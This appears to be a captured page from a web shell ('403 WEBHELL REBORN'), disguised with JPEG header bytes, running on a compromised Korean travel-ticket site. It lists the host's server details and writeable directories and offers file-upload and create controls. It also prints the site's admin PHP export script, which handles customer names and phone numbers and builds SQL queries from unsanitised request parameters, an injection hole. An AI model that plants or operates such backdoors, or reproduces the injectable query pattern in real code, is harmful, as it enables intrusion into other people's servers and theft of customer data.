ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/ticket/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/ticket/ticket_excel.html
<?
include "../include/top_proc.html";


// 엑셀 파일명 설정 
$FileName = "TICKET목록";
$FileName = $FileName."_".Date("Ymd").".xls";
$FileName = urlencode($FileName); // UTF-8

// 엑셀 파일로 변환 헤더
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=$FileName");
header("Content-Description: PHP4 Generated Data" );

//테이블명
$table = " TB_TICKET ";

// 파라메터
$sql_where = stripslashes($sql_where);
$sql_order = stripslashes($sql_order);

// 데이터
$sql = "select * from {$table} where del_flag = 'N' ";

if($sql_where) $sql .= " ".$sql_where;
if($sql_order) $sql .= " order by ".$sql_order . ", seq desc";
else $sql .= " order by ti_send_dt , seq desc ";
if($olds>=0 and $line>0) $sql .= " limit $olds , $line";

$rs = db_query($sql);
$i=0;
while($rows = db_fetch_array($rs)){
	$data[$i] = $rows;
	$i++;
}
?>

<html xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv=Content-Type content="text/html; charset=utf-8">
<meta name=ProgId content=Excel.Sheet>
<meta name=Generator content="Microsoft Excel 10">
<style>
<!--
table
  {mso-displayed-decimal-separator:"\.";
  mso-displayed-thousand-separator:"\,";}
@page
  {margin:1.0in .75in 1.0in .75in;
  mso-header-margin:.5in;
  mso-footer-margin:.5in;}
-->
</style>
<!--[if gte mso 9]><xml>
 <x:ExcelWorkbook>
  <x:ExcelWorksheets>
   <x:ExcelWorksheet>
    <x:Name>Sheet1</x:Name>
    <x:WorksheetOptions>
     <x:Print>
      <x:ValidPrinterInfo/>
     </x:Print>
     <x:Selected/>
    </x:WorksheetOptions>
   </x:ExcelWorksheet>
  </x:ExcelWorksheets>
 </x:ExcelWorkbook>
</xml><![endif]-->
<meta http-equiv=Content-Language content=ko>
</head>

<body>

<table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
	<tr height="35">
		<th align="center" bgcolor="#E7E7E7">상태</th>
		<th align="center" bgcolor="#E7E7E7">바우처NO.</th>
		<th align="center" bgcolor="#E7E7E7">고객명</th>
		<th align="center" bgcolor="#E7E7E7">연락처</b></th>
		<th align="center" bgcolor="#E7E7E7">구분</th>
		<th align="center" bgcolor="#E7E7E7">사용예정일</th>
		<th align="center" bgcolor="#E7E7E7">발송일시</th>
		<th align="center" bgcolor="#E7E7E7">사용완료일</th>
		<th align="center" bgcolor="#E7E7E7">티켓명</th>
		<th align="center" bgcolor="#E7E7E7">티켓그룹코드</th>
		<th align="center" bgcolor="#E7E7E7">유효기간</th>
		<th align="center" bgcolor="#E7E7E7">티켓번호</th>
		<th align="center" bgcolor="#E7E7E7">관리(우대)번호</th>
		<th align="center" bgcolor="#E7E7E7">공급처</th>
		<th align="center" bgcolor="#E7E7E7">메모</th>
	</tr>
<?
		for($i=0 ; $i < count($data) ; $i++){

				$row = $data[$i];

				// 티켓 상태 (미사용 / 발송완료 / 사용완료 / 취소)
				$code_res = base_codec("PRD","TIST",$row['ticket_status']);
				$ticket_status_str =  _e($code_res[0]['cd_nm']);

				// 구분 (성인/아동/유아/유아)
				switch($row['ti_generation']) {
					case "A": $ti_generation_str = _e("성인"); break;
					case "C": $ti_generation_str = _e("아동"); break;
					case "B": $ti_generation_str = _e("유아"); break;
					case "I": $ti_generation_str = _e("영아"); break;
				}

				// 발송방법
				switch($row['ti_send_method']) {
					case "SMS": $ti_send_method_str = _e("SMS"); break;
					case "MMS": $ti_send_method_str = _e("MMS"); break;
					case "AT": $ti_send_method_str = _e("알림톡"); break;
					case "FT": $ti_send_method_str = _e("친구톡"); break;
					case "API": $ti_send_method_str = _e("API"); break;
					default : $ti_send_method_str = ""; break;
				}

				// 공급처명
				if(empty($row['producer_id'])) {
					$partner = 'TK';
				} else {
					$memInfo = get_member($row['producer_id']);
					$producer_nm = $memInfo['bz_corp_nm'];
				}

				// 유효기간
				$today = date('Y-m-d');
				if($row['ti_valid_start'] != '0000-00-00' && $row['ti_valid_start'] > $today){ 
					$row['ti_valid_start'] = "<span style='color:#00F;'>{$row['ti_valid_start']}</span>";
				} else if ($row['ti_valid_end'] != '0000-00-00' && $row['ti_valid_end'] < $today) {
					$row['ti_valid_end'] = "<span style='color:#F00;'>{$row['ti_valid_end']}</span>";
				}

				// 날짜 표시
				if($row['ti_reserve_dt'] == '0000-00-00') $row['ti_reserve_dt'] = '-';
				if($row['ti_send_dt'] == '0000-00-00 00:00:00') $row['ti_send_dt'] = '-';
				if($row['ti_use_dt'] == '0000-00-00 00:00:00') $row['ti_use_dt'] = '-';
?>
	<tr>
		<td>
			<?=$ticket_status_str?>
			<? if($row['rsv_no'] == '' && $row['ticket_status'] == 'W' && $row['ti_send_dt'] != '-') { ?>
				(초기화)
			<? } ?>
		</td>
		<td><?=$row['rsv_no']?></td>
		<td><?=$row['ti_cust_nm']?></td>
		<td style="mso-number-format:\@;"><?=$row['ti_cust_hp']?></td>
		<td><?=$ti_generation_str?></td>
		<td><?=$row['ti_reserve_dt']?></td>
		<td><?=$row['ti_send_dt']?></td>
		<td><?=$row['ti_use_dt']?></td>
		<td><?=$row['ticket_nm']?></td>
		<td><?=$row['group_code']?></td>
		<td><?=$row['ti_valid_start']?> ~ <?=$row['ti_valid_end']?></td>
		<td style="mso-number-format:\@;"><?=$row['ticket_number']?></td>
		<td><?=$row['manage_code']?></td>
		<td><?=$producer_nm?></td>
		<td><?=substr(strip_tags($row['ti_memo']), 0, 40)?></td>
	</tr>
<?
	$j++;
	}
?>
</table>

</body>
</html>

Anon7 - 2021